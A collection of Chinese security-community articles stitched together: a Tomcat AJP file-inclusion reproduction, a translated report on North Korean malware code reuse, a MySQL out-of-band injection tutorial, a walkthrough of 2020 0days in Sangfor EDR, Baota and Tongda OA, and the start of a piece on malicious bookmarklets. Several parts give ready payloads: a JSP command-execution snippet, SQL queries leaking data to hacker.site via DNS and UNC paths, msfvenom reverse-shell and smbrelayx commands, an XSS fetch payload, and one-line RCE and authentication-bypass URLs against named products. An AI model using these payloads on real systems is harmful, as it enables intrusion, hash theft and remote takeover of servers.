private void serviceJspFile(HttpServletRequest request,
HttpServletResponse response, String jspUri,
boolean precompile) throws ServletException, IOException {
JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
synchronized(this) {
wrapper = rctxt.getWrapper(jspUri);
......
}
}
try {
wrapper.service(request, response, precompile);
} catch (FileNotFoundException fnfe) {
......
}
}
代码在这里根据jspUri生成了一个JspServletWrapper，它会调用`service()`方法完成jsp代码的编译，将其转换成一个servlet。该servlet最终会以.java文件的形式写入`%CATALINA_HOME%/work/Engine/Host/Context`目录下：
/**
* org.apache.jasper.servlet.JspServletWrapper.java
*/
public void service(HttpServletRequest request,
HttpServletResponse response,
boolean precompile)
throws ServletException, IOException, FileNotFoundException {
Servlet servlet;
try {
......
if (options.getDevelopment() || mustCompile) {
synchronized (this) {
if (options.getDevelopment() || mustCompile) {
// The following sets reload to true, if necessary
ctxt.compile();
mustCompile = false;
}
}
}
......
/** 获取jsp编译后生成的servlet，并调用它的service()方法 **/
servlet = getServlet();
......
}
try {
......
servlet.service(request, response);
}
} catch (UnavailableException ex) {
......
}
}
经过上述调用，这就形成了文件包含漏洞。当Web应用上有某个文件内容可被我们控制时，譬如某应用头像上传后的路径在webapp目录下，就能构造RCE。
## 复现过程
在复现时我在一台内网的虚拟机上搭建了Tomcat8.5.40，IP是10.0.12.93。然后下载了github上别人的POC，稍微修改了里面的代码，使它支持jsp-servlet的利用方式。首先测试任意文件下载漏洞，结果如下：
然后测试文件包含漏洞，我在`webapps/examples/`新建一个文件`evilman.png`，当做通过某接口上传的头像:
其中只有一句jsp：
<% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine()); %>
最后，验证结果如下：
在`work/Catalina/localhost/examples/org/apache/jsp/`目录下有新生成的编译后的jsp代码，可以看到其中`_jspSerive()`方法的实现方式：
## 防御措施
* tomcat升级到最新版
* 临时禁用AJP协议端口，将`conf/server.xml`文件中8009的Connector注释掉
## 参考链接
1. <https://blog.csdn.net/qq_35262405/article/details/101780644>
2. [https://blog.csdn.net/w1992wishes/article/details/79242797]()
3. [https://blog.csdn.net/u010900754/article/details/80154933]()
4. [https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html]()
5. [https://www.anquanke.com/post/id/199448]()
6. [https://www.anquanke.com/post/id/199347]() | 社区文章 |
# 利用代码复用分析朝鲜恶意软件家族之间的联系
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
人们认为由某些攻击组织发起的攻击行动源自于朝鲜，这些组织包括Lazarus、Silent Chollima、Group 123、Hidden
Cobra、DarkSeoul、Blockbuster、Operation Troy以及10 Days of
Rain，但如何才能确认这一点？怎么才能知道从2009年7月4日起的DDoS以及磁盘数据擦除攻击活动与网络领域史上最大规模的WannaCry攻击活动存在何种联系？
从Mydoom变种Brambul到最近的Fallchill、WannaCry以及针对加密货币交易所的攻击活动中，我们可以清晰地看到朝鲜的攻击时间线，他们已经在世界舞台中扮演举足轻重的角色。
本文介绍了我们几个月的研究结果，主要介绍了我们对隶属于朝鲜的恶意样本的代码分析结果，说明这些样本之间存在一些关键的相似点、使用共享的网络基础设施，也介绍了隐藏在这些样本中的一些数据。将这些拼图结合起来后，我们可以看到与朝鲜有关的多次攻击活动之间存在关联性，也可以对其网络部队中各类团体的不同工具进行分类。
## 二、背景介绍
本文篇幅较短，无法深入分析近年来的所有历史、政治以及经济方面的变化。尽管如此，我们必须点出某些关键事件，将过去以及当前的网络事件考虑在内。
与其他任何国家一样，朝鲜（DPRK）希望尽可能实现自给自足。然而这个国家缺诸如石油、粮食以及外汇之类的资源，必须找到获取这些资源的方法。当合法的国际间交易渠道被阻断时，一个国家能做什么呢？为了生存，他们必须获取外汇才能继续交易，而最古老的一种方法就是进入博彩以及毒品领域。2005年，美国决定关闭涉嫌非法经营的朝鲜企业，他们调查了几家亚洲银行，这几家银行貌似与朝鲜有关联，充当其洗钱站点。在2015年针对越南境内某银行SWIFT金融系统的攻击活动中，澳门有家银行进入了人们的视野。在恶意软件代码中，这家澳门银行作为被盗资金的接收方总共出现了两次：
## 三、代码复用
复用恶意软件代码的原因有很多，这种情况在网络犯罪领域非常普遍。以勒索软件攻击活动为例，一旦攻击活动无法顺利展开，攻击者通常会改变一些基础结构，比如使用不同的加壳程序来绕过防御机制。在有针对性的攻击组织中，攻击者必须保持工具不被检测到，时间越长越好。通过识别复用的代码，我们可以获取关于已知攻击者以及其他攻击者之间的“衍生关系”，我们的研究内容主要集中在这些方面。
在调查网络威胁的这几年中，我们看到朝鲜实施了多起网络攻击行为。在朝鲜，黑客所掌握的技能决定了他们所处的网络攻击单位。目前我们知道朝鲜的攻击活动主要分为两类：一类侧重于收集资金，另一类侧重于国家主义方面事务。第一类单位为国家筹集资金，包括使用网络犯罪活动侵入金融机构、劫持博彩会话、出售盗版及破解软件等。Unit
180负责使用黑客技术非法获取外汇。第二类单位由国家主义驱动，收集来自其他国家的情报，并且会在某些情况下给竞争国家及军事目标造成破坏。这些攻击活动主要由Unit
121实施。
我们重点研究的是受国家主义驱动的大规模网络攻击行为，其中我们发现了多次代码复用情况。我们非常确信这些攻击活动得到了国家力量支持。
## 四、时间线
我们为本次研究中涉及到的恶意软件样本以及几次攻击活动创建了一条时间线。在时间线创建过程中，我们主要使用的是公开博客以及文章，并且以恶意软件作为我们研究的起点。
图2. 恶意软件及攻击活动时间线
## 五、分析及观察
### 相似性
在研究过程中，我们发现许多恶意软件家族与朝鲜的网络行为有关。为了更好理解攻击者以及攻击活动之间的相似性，我们使用了Intezer的代码相似度检测引擎来绘制这些恶意软件家族的联系。
这些关联路径大致如下图所示。每个节点代表一个恶意家族或者攻击工具（Brambul、Fallchill等），每条线段代表两个家族之间存在代码相似性。线段越粗则表示相似度越高。定义相似度时，我们只考虑独特的代码连接，忽略掉公共代码或者库。这种定义适用于下图以及我们整个研究过程。
图3. 与朝鲜有关的恶意软件家族的代码相似性
我们很容易就可以发现图中基本上每个节点之间都有线段连接，表明与朝鲜有关的攻击活动之间基本上都存在代码相似性。我们的研究内容包括数千个样本，大多数未经分类或者归类。上图仅用到了数百个样本，因此实际上的连接度可能比我们在上图中看到的更为丰富。
### 深入分析
在研究过程中，我们发现之前未见过的朝鲜样本文件之间存在许多代码相似性。至少从公开资料中，有些攻击活动以及恶意软件之间并没有相互关联起来。接下来我们将展示四种复用代码，这些复用代码仅存在于与朝鲜有关的恶意软件。
**1、通用SMB模块**
第一段示例代码存在于2017年的WannaCry样本、2009年的Mydoom样本以及Joanap、DeltaAlfa中的SMB（server
message block）模块。研究人员已经将这些攻击活动与Lazarus关联起来，这意味着该组织至少从2009年到2017年之间一直在复用代码。
图4. Mydoom样本的代码重复度
如下图所示，我们给出了与SMB模块有关的一段代码，这段代码可以在除WannaCry以及Mydoom之外的恶意样本中找到。
图5. 多次攻击活动中共用的SMB模块
我们之前已经分析过[WannaCry](https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/)，如果将其代码与数据库进行匹配，我们可以绘制出如下关系图：
图6. WannaCry代码对比情况
在研究过程中，我们对比了WannaCry的三个主要变种，分别为2017年2月份发布的早期版本（beta版）、4月份发布的版本以及广为人知的5月份发布的版本。
**2、通用文件映射**
第二段示例代码用来映射文件以及使用XOR密钥0xDEADBEEF来处理文件的前4个字节。这段代码出现在NavRAT、Gold
Dragon以及朝鲜博彩业攻击活动的某个DLL中。人们认为这三个RAT与朝鲜的Group
123组织有关。NavRAT以及DLL文件共享更多的代码，表明这两个变种更为接近。
图7. NavRAT样本中的代码重复度
图8. 文件映射代码
**3、独特的net share**
第三段代码负责启动`cmd.exe`执行`net
share`操作，这段代码出现在2009年的Brambul、SierraBravo以及2011年的KorDllBot。这些恶意软件家族同样与Lazarus组织有关。
图9. SierraBravo（Brambul）样本的代码重复度
图10. Brambul/SierraBravo以及KorDllBot恶意软件家族中复用的代码段
**4、Dark Hotel行动**
2014年，卡巴斯基报告了针对亚洲酒店的持续7年多的攻击活动，其中攻击者使用了一系列工具侵入酒店访客的计算机。根据研究报告，攻击者使用了多款0
Day漏洞、多个控制服务器以及Tapaoux（即DarkHotel）恶意软件家族。
在分析来自朝鲜的样本时，我们注意到了Dark Hotel样本。分析样本代码后，我们注意到该样本有部分代码与Operation Troy样本有所重合。
图11. Dark Hotel样本的代码重复度
利用样本代码对比以及代码块识别，我们发现了恶意软件家族以及幕后使用者之间一些新的关系。
根据我们对不同恶意软件的分析，我们可以梳理出已知与朝鲜有关的攻击组织之间的代码复用情况。
图12. 通过代码复用将多个攻击组织及恶意软件家族关联起来
与Lazarus组织有关的恶意软件在代码上与过去几年的恶意软件家族存在关联。Lazarus是朝鲜许多攻击组织的集合名，我们可以清晰地看到多个攻击活动所使用的恶意软件家族之间有各种联系。
可能与Group 123组织有关的恶意软件（NavRAT、Gambling以及Gold
Dragon）之间彼此关联，但与Lazarus使用的其他工具独立开来。虽然这些组织关注的是不同领域，但他们貌似处于一种平行地位，在某些攻击活动中互相合作。
## 六、MITRE ATT&CK
根据我们对这些恶意样本的分析，我们可以识别出恶意软件家族所使用的技术，如下所示：
当我们仔细观察MITRE模型中的Discovery类别时，我们注意到这些技术通常是第一阶段释放器（dropper）恶意软件所使用的典型技术。攻击者将这些样本释放到受害者主机上，收集当前网络信息以及已获取的用户/访问权限。
2018年，我们发现在某些攻击活动中攻击者会使用PowerShell来下载并执行这些释放器。一旦收集到的信息发送到控制服务器，攻击者会根据这些信息确定下一步操作，通常包括安装远程访问工具，进一步在网络中横向渗透，最终完成攻击目标。
## 七、总结
安全厂商以及研究人员在讨论同一个恶意软件、组织或者攻击活动时通常会使用不同的名称。这种习惯给恶意软件以及攻击活动的分组归类带来不小挑战。采用类似寻找代码复用特征等科学方法后，我们可以对这些信息进行分类。我们认为我们的研究成果可以帮助安全社区来梳理目前关于朝鲜恶意软件及攻击活动方面较为“混乱”的格局。
在多年的分析过程中，我们可以清晰地看到大量代码复用情况。这表明朝鲜不同组织具备不同的技能，在网络活动中使用不同的工具，当大型攻击活动中需要各种技能和工具时，他们也会并行开展工作。
我们对这几个月的研究、数据收集以及分析结果非常满意。将我们的技能、数据以及技术结合起来后，我们可以绘制出之前尚未发现的关系链。如果加强协作及信息共享，网络安全行业也会收获颇丰，我们希望McAfee及Intezer的这次努力能够激励整个社区加强相互之间的协作。
## 八、参考资料
[1] Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S. Probes Banks’
North Korea Ties.” Wall Street Journal, last updated September 8, 2005.
[2] Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider
knowledge.” <https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/>
[3] Atif Mushtaq, “DDOS Madness Continued…”
<https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html>
[4] Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens
Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems.”
<https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/>
[5] Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.”
<https://www.kaspersky.com/blog/darkhotel-apt/6613/>
[6] Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North
Korea Summit As Decoy For Attacks In South Korea.”
<https://blog.talosintelligence.com/2018/05/navrat.html>
[7] Sergei Shevchenko and Adrian Nish **, “** Cyber Heist Attribution. **”**
<https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html>
[8] Mydoom code reuse report.
<https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad>
[9] NavRAT code reuse report.
<https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb>
[10] SierraBravo code reuse report.
<https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c>
[11] Dark Hotel code reuse report.
<https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4>
[12] Kang Jang-ho, “A foreign currency earned with a virtual currency … What
is the life of a North Korean hacker?”
<http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple>
[13] Awesome work by the team responsible for the “Operation Blockbuster”
report. <https://www.operationblockbuster.com/resources/> | 社区文章 |
# 【技术分享】MySQL Out-of-Band 攻击（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：osandamalith.com
原文地址：<https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[Brexit](http://bobao.360.cn/member/contribute?uid=347422492)[](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：180RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**概述**
关于MSSQL和Oracle Out-of-Band
注入方面的研究已经很多了，不过我发现MySQL注入的研究情况并非如此。于是我萌生了根据自己在SQL注入方面的经验做相关研究的想法。为实现这个目的，我们可以利用函数load_file()
和 select…into outfile/dumpfile。此外，我们还可以窃取NetNTLM哈希并实施服务器信息块
(SMB)中继攻击。所有的这一切都只在Windows环境下的MySQL中有可能实现。
**什么是 Out-of-Band 注入？**
这些攻击涉及通过除服务器以外的其它方式提取数据，比如通过HTTP(S)请求、DNS解析、文件系统、电子邮件等，具体通过哪种方式取决于后端技术的功能。
**MySQL的限制条件**
MySQL中存在一个全局系统变量secure_file_priv。这个变量用来限制数据导入和导出操作的影响，例如由LOAD DATA
和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的行为。
如果将这个变量设置为一个目录的名称，则服务器会将导入和导出操作限制在跟这个目录中的文件协作。这个目录必须存在，而服务器不会创建它。
如果这个变量为空，那么它不会产生影响，这样配置就是不安全的。
如果将这个变量设置为NULL，那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始就是合法的。
在MySQL
5.5.53版本之前，这个变量默认为空，因此我们就可以使用这些函数。但是在该版本之后，NULL值会禁用这些函数。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量且是一个只读变量，也就是说在运行时无法更改。
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
例如在我的MySQL 5.5.34版本中，默认值为空，也就是说我们能够使用这些函数。
在MySQL 5.6.34版本中，这个值默认是NULL，它会禁用导入和导出操作。
**权变措施**
以下是我认为可以解决5.5.53之后版本中这个问题的一些权变措施。
启动mysql进程，为“–secure-file-priv=”参数赋值为空。
mysqld.exe --secure-file-priv=
在”my.ini”配置文件中增加一个条目。
secure-file-priv=
要查找默认选项的加载顺序和配置文件的路径，输入以下内容：
mysqld.exe --help --verbose
将配置文件指向mysqld.exe。
你可以创建一个新的文件myfile.ini并将这个文件作为MySQL的默认配置。
mysqld.exe --defaults-file=myfile.ini
你的配置内容是：
[mysqld]
secure-file-priv=
使用文件系统提取数据
在MySQL中，我们可以使用一个共享文件系统当做提取数据的替代渠道。
select @@version into outfile '\\192.168.0.100\temp\out.txt';
select @@version into dumpfile '\\192.168.0.100\temp\out.txt';
select @@version into outfile '//192.168.0.100/temp/out.txt';
select @@version into dumpfile '//192.168.0.100/temp/out.txt';
注意，如果引用被过滤，那么你就无法使用十六进制会话或者其他格式作为文件路径。
使用DNS解析提取数据
另外一种方法就是使用DNS解析。
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
你可以清楚地看到5.6.34版本跟DNS查询是一起被发送的。
当MySQL尝试解析DNS查询时，我们能够记录DNS请求并成功地从hacker.site的DNS服务器中成功提取数据。数据被记录为一个子域。
提取数据时，要注意你处理的是DNS请求，不能使用特殊字符。要使用MySQL字符串函数如mid、substr、replace等处理这些情况。
**窃取NetNTLM哈希**
如你所见，’load_file’和’into
outfile/dumpfile’跟Windows下的UNC路径运行良好。它可被用于解析一个不存在的路径，而且当DNS失败时，这个请求可被发送为LLMNR、NetBIOS-NS查询。通过投毒LLMNR协议，我们可以捕获到NTLMv2哈希。
我们在攻击中可用到的工具包括：
Responder
Ilmnr_response
MiTMf
在这个例子中，我会使用Responder。我在Windows 8 的64位计算机中运行MySQL 5.6.34版本。
responder -I eth0 -rv
然后，我们可以使用load_file、into outfile/dumpfile或load data infile来解析一个无效的UNC路径。
select load_file('\\error\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\error\abc';
select 'osanda' into outfile '\\error\abc';
load data infile '\\error\abc' into table database.table_name;
**
**
**SMB中继攻击**
通过使用函数如load_file、into outfile/dumpfile和load data
infile，我们能够访问Windows环境下的UNC路径。我们能够在SMB中继攻击中利用这个功能，并且在目标设备中弹出一个shell。以下是SMB中继攻击的可视化演示。
这是为此次试验做的实验室设置配置。
MySQL服务器：Windows 8: 192.168.0.100
攻击者：Kali: 192.168.0.101
受害者：Windows 7: 192.168.0.103（以管理员身份运行）
使用的工具是：
Smbrelayx
Metasploit
首先，我在Kali盒子中生成了一个反向shell，并在Metasploit上运行multi/handler模块。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f exe > reverse_shell.exe
接着，运行smbrelayx工具以明确受害者的IP地址和生成的反向shell并等待流入的连接。
smbrelayx.py -h 192.168.0.103 -e ./reverse_shell.exe
一旦我们从MySQL服务器中执行任意语句，我们会从受害者盒子中得到反向shell。
select load_file('\\192.168.0.101\aa');
select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);
select 'osanda' into dumpfile '\\192.168.0.101\aa';
select 'osanda' into outfile '\\192.168.0.101\aa';
load data infile '\\192.168.0.101\aa' into table database.table_name;
这些是来自multi/handler模块Metasploit中的选项：
一旦MySQL服务器把一个请求发送到Kali盒子，smbrelayx就会执行SMB中继攻击并且将我们的反向shell上传并执行。
如果攻击成功，那么我们就会从Windows 7盒子中得到我们的反向shell。
**
**
**基于union和error的注入**
Load_file函数能够用于基于union和error的注入。例如，在基于union的场景中，我们可以使用OOB注入，如：
http://192.168.0.100/?id=-1'+union+select+1,load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)),3-- -
我们可以只使用基于error的技术如BIGINT溢出方法或者EXP 基于error的方法。
http://192.168.0.100/?id=-1' or !(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- - http://192.168.0.100/?id=-1' or exp(~(select*from(select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -
你可以不使用or，而使用||、 |、and、 &&、 &、 >>、 <<、 ^、 xor、 <=、 <、 、>、 >=、 *、 mul、 /、 div、
-、 +、 % 和 mod。
**XSS + SQLi**
你可以把XSS攻击和MySQL结合起来使用，它可能会在渗透测试中帮你解决不同场景中的问题。我们能够执行窃取NetNTLM哈希和结合XSS的SMB中继攻击。如果XSS是持续的，那么受害者每次访问页面都会被感染。
需要注意的是，当处理JavaScript时，你处于同源策略环境下。
<svg onload=fetch(("http://192.168.0.100/?id=-1'+union+select+1,load_file(0x5c5c5c5c6572726f725c5c6161),3-- -"))>
你也可以使用MySQL来回显HTML，从而回显一个无效的UNC路径来窃取NetNTLM哈希或者直接使用攻击者的IP实施SMB中继攻击。这些UNC路径只有在IE浏览器下才能被解析。
http://192.168.0.100/?id=-1' union select 1,'<img src="\\error\aa">'%23
**结论**
当由于向量被禁用、受限或者被过滤且唯一的选择就是使用推理方法，从而导致所有带内方法不起作用时，我们可以使用以上提到的方法。Select…into
outfile/dumpfile函数可跟基于union的注入结合使用。Load_file方法可跟基于union和error的注入结合使用。当涉及到基础机构入侵时，这些方法可能是起作用的。利用漏洞并非总是显而易见一目了然的，因此你必须在遇到实际情况时创造性地使用这些技术。
**致谢**
特别感谢@m3g9tr0n为研究提供的支持。
**论文**
<https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html>
**参考**
<https://dev.mysql.com/doc/refman/5.5/en/>
<https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python>
<https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/> | 社区文章 |
# 七夕—2020HW热门0day分析与复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
随着8.17护网的开始，这期间各大厂商接连爆出了重大0day，引发了种种安全事故与遐想，本文笔者将从代码审计的角度深入浅出的对这些漏洞进行分析与复现，文内会提供部分exp链接，希望能对大家有所帮助！
## 深信服EDR漏洞分析
### RCE getshell
如果说最近爆出的0day当中最为人熟知的莫过于最先爆出的深信服EDR的0day了，只需要凭借着简单的复现条件就可以对漏洞加以利用，那么我们下面来分析一下深信服EDR的几个比较高危的漏洞吧。
首先从广为人知的c.php开始说起，这个漏洞的复现条件极为简单，只需要访问/tool/log/c.php然后使用get提交传入变量即可，利用exp如下：
`http://ip/tool/log/c.php?strip_slashes=system&host=id`
下面我们看一下他的代码
查看c.php程序入口，可以看到调用了show_form函数，并且利用REQUEST的方式传参，然后我们跟进这个函数。
从箭头处我们可以看到这里调用了extract函数，继续往下看到三元运算符其中变量strip_slashes指向了一个函数，如下图:
这个函数大概就是检查有没有开启gpc功能，如果没有开启则直接return返回值如果开启了就是用stripslashes函数进行转义。？？？？相信屏幕前的你也一堆问号，神奇的逻辑。
言归正题，回到show_form这里，那么我们是不是就可以通过覆盖掉strip_slashes以及host变量来getshell了呢？覆盖后的变量大概就是
`strip_slashes=system&host=id`
组合起来也就变成了system(id)从而执行了命令呢？
### 真•后门
如果上面那个漏洞我们原谅了开发，那么下面这个漏洞一定会让你若有所思！我们直接来看一下代码吧！
我想可能刷过靶场的小伙伴对这串代码都不陌生，没错这不就是简单难度的变量覆盖漏洞吗？还是能执行命令那种，至于利用方法也是非常简单！
`http://ip/php_cli.php?code=system("whoami");`
### 神奇备份
这个也没有什么可说的直接上图吧！
就在/tool/log目录下
### 越权登陆
这里的越权登陆通过在前台登陆页面login.php界面进行传参提交用户名可越权至终端后台，利用payload如下：
`http://ip/ui/login.php?user=admin`
### 迷惑验证码
我们分析/tool/log/l.php代码，作为和c.php在同一目录的好兄弟没有点能耐好意思在这个目录呆？代码如下图:
在这个main函数中，我们首先步进到ldb_run_at_console函数中。
可以看到这个函数设置了一个全局变量，最后return时验证是否设置该变量，返回然后true或者false，当然因为没有设置这个变量那么一定就是false，然后看第一张图，也就满足了第一层if的条件，然后继续往下看第二层，如果没有设置captcha变量或者captcha的值不等于10899801则返回验证码错误。
那么我们可以看到他是直接通过REQUEST的方式接收值，既然我们可以控制变量那么直接构建payload即可。
`http://ip/l.php?captcha=10899801`
### 权限绕过
同样也有表哥挖到了权限绕过漏洞，通过修改Y-Forwarded-For的值为空以及其默认没有配置文件导致变量值为空在比较时可以越权获取特权，下面我贴一下文章地址：
`https://mp.weixin.qq.com/s/4Z4QF-Wdq2PhqCkGKB8Q6Q`
### 深信服小结
深信服EDR所有的漏洞当然不止以上几个，在tool目录下几乎无一例外的都有变量覆盖漏洞，也希望相关开发人员能够重视安全开发规范，我认为漏洞产生的原因就是开发没有做到数据与代码分离从而致使可以控制变量并加以利用，现在大部分漏洞已经有了相应的解决方案。大部分的EDR已经删除了tool目录，并且也发布了相应的补丁，虽然发补丁时顺道把源码泄露了，EXP已经上传至github有兴趣的小伙伴可以自行下载。
`https://github.com/wikiZ/-EDR-EXP`
## 宝塔越权漏洞
这个漏洞于8月23日上午公开，宝塔官方于晚上8点发布短信紧急修复公告，漏洞通过访问指定url可以直接越权利用，影响近9W余台服务器，利用payload如下：
`http://ip:888/pma`
通过访问以上url可以直接越权至phpmyadmin后台，也有许多娱乐圈黑客利用此漏洞四处破坏，造成了严重的社会影响，更有甚者在gov站点上挂黑页。
该漏洞主要影响版本有:
宝塔linux面板 7.4.2
宝塔windows面板6.8
修复方案：
1、升级宝塔面板至最新版本7.4.3，在面板内即可升级。
2、关闭888端口。
`EXP地址：https://github.com/wikiZ/pagota`
## 通达OA RCE漏洞
说到通达OA，它最近爆出的漏洞可真的不要太多了，就在几个月之前也爆出过RCE
getshell漏洞，那时候我也写出了EXP并进行分析。这一次爆出的RCE同样是auth身份验证文件的问题，但却不是他的锅。下面我们来对代码进行审计吧！
漏洞影响版本：
通达OA < v11.7
首先漏洞的关键产生原因就是文件删除漏洞，攻击者通过该漏洞删除了auth身份验证文件，导致验证失效从而进行任意文件上传，任意文件删除漏洞产生位置在:
`/module/appbuilder/assets/print.php`
我们来看一下它的源码
P.S.注意通达OA的源码是加密的需要使用seayDZend工具解密后即可正常阅读源码
在上图代码中我们可以看到用户可以通过GET方式控制变量guid，然后下面对文件是否存在进行检测，如果存在则会调用unlink函数进行删除文件，s_tmp变量这里拼接了guid变量，所以这里我们就可以通过guid参数进行目录穿越从而进行任意文件删除，PAYLOAD如下：
`http://ip/module/appbuilder/assets/print.phpguid=../../../webroot/inc/auth.inc.php`
注意在测试时进行备份，删除了auth.inc.php可能导致部分功能不可用。
删除了auth.inc.php文件，我们继续分析文件上传点的源码，漏洞发生位置为：
`/general/data_center/utils/upload.php`
首先传入参数action=upload进入，然后传入不存在的filetype这里可以任意取值，最后传入repkid参数值为/.<>./.<>./.<>./
逃逸file_exits函数。数据包中构建上传文件操作，上传文件参数名为FILE1。
这里的逃逸操作，使其进入if条件中拷贝文件至网站根目录。
最后直接访问`http://ip/_filename.php`即可。
数据包如下图：
### 通达OA漏洞小结
修复方式：
更新至最新版本v11.7即可。
更新地址：<https://www.tongda2000.com/download/sp2019.php>
EXP地址：<https://github.com/wikiZ/tongda-deleteRCE>
## 后记
至此本文就结束了，后期会不断更新最新的EXP及漏洞分析文章，希望读过本文后能够对您有所收获！
最后祝大家心想事成，美梦成真！ | 社区文章 |
作者：xisigr @腾讯玄武实验室
原文链接：http://xlab.tencent.com/cn/2017/01/18/badbookmarklet/
### 0 引言
Bookmarklet，中文名可以翻译成小书签，它的存在形式和书签一样，都被保存在浏览器的收藏夹中。但它不是一个 HTTP、FTP、File 开头的
URL，而是一段 javascript: 开头的 javascript 代码。1995 年 Javascript 的作者 Brendan Eich 特意设计
javascript: URLs 和普通URL一样用于收藏夹，时至今日小书签已经于浏览器中存在了 20 多年。
在这些年中浏览器以及WEB
上的攻防对抗风云幻变，也使小书签上的安全风险渐渐大于它的业务实用性。从攻击的角度来看，日渐复杂的应用场景、多样化的攻击手段层出不穷，使小书签可以执行任意
javascript 代码的这个特性演变成一了种攻击手段。而在防御层面，CSP 的出现与普及，也似乎预示着小书签的历史使命走到了尽头。
本文从在现代浏览器中导入和拖放小书签，来介绍小书签是如何变成一种致命攻击手段的。
### 1 小书签的历史
> “这是一个特意设计的特性：我在1995年发明 JavaScript 的时候发明了 javascript: 这类 URL，并打算使得
> javascript: URLs 用法和其他URL一样，包括收录入收藏夹。 我特地把”JavaScript:”
> URL设计得可以在运行时产生一个新文档，例如 javascript:’hello, world’ ，同时也可以在当前文档的 DOM
> 下运行任意脚本（这点对小书签尤其有用），就像这样： javascript:alert(document.links[0].href) 。
> 这两者的区别就是，后者的URL在JS解析下值为 undefined。我在 Netscape 2 投入市场前加入了 void 操作符来清除任何非
> undefined 的 javascript: URL 的值。”
>
> ——Brendan Eich，寄给 Simon Willison 的邮件
以上是 JavaScript 的发明人 Brendan Eich 说明小书签来历的一段话，引自于维基百科
http://zh.wikipedia.org/zh-cn/小书签 。 这20多年来浏览器小书签也一直遵循着当年 Brendan Eich 对它的定义。
### 2 小书签的正常功能
我们知道浏览器使用隶属于`<a>`标签的 href 的 URI 标签来存储书签。浏览器用 URI
前缀，例如`http:`,`file:`,或是`ftp:`来确定协议以及请求剩余字符串的格式。
浏览器也能像执行其它前缀一样执行`javascript:`。在内部处理时，当浏览器检查到协议为JavaScript,就将后面的字符串作为
JavaScript 脚本来执行，并用执行结果产生一个新页面。
例如这段小书签，可以直接让用户进行 base64 编码的转换：
javascript:(function(){x=prompt('Text:','');l=x.length%3;if(l)for(i=1;i<7-l;i++)x=x+'%20';;prompt('Output:',window.btoa(x));})();
而下面这段小书签则会在用户的当前域弹出 cookie:
Javascript:alert(document.cookie)
### 3 小书签上的安全风险
小书签中可以写入任意 Javascript 代码，这使得写入恶意代码也成为可能。如果小书签中是一段可以获取用户 cookie
并发送给攻击者的代码，那么当用户点击这段小书签后，当前域的 cookie 信息就会被攻击者获取到。这个时候，小书签即变成了 UXSS
的孵化器。如果设备之间浏览器开启 SYNC，那么这段恶意小书签也会同步到其他设备上去，使危害增大。
看起来以上的分析是可行的，但如何让小书签变得有攻击性呢，因为用户不会主动去写一个恶意的小书签，然后自己去点击。而就算用户自己在小书签里自娱自乐的 Self-XSS 的弹个`alert(1)`，又有何不可？
如果我们能找到一个场景，可以让用户无意在浏览器中注入恶意的小书签。基于此想法，来看下面这个场景：
1. 用户在保存书签的时候，就认为书签是正确的。
2. 在点击书签后也会导航到正确的网站。
如果上面2点能顺利完成，且整个过程从表面来看没有任何差错和异常，那么用户对这个小书签基本上就不会去怀疑。下文我们测试的过程中，当用户点击了这个书签，用户的信息即被攻击者获取到了！
### 4 导入和拖放恶意小书签
##### 4.1导入恶意小书签
在现代浏览器中，都有了书签导入导出的功能。我们可以把书签导出为 HTML 文件，并能随时把 HTML
的书签导入到浏览器中。另外，不同浏览器之间也可以互相导入。
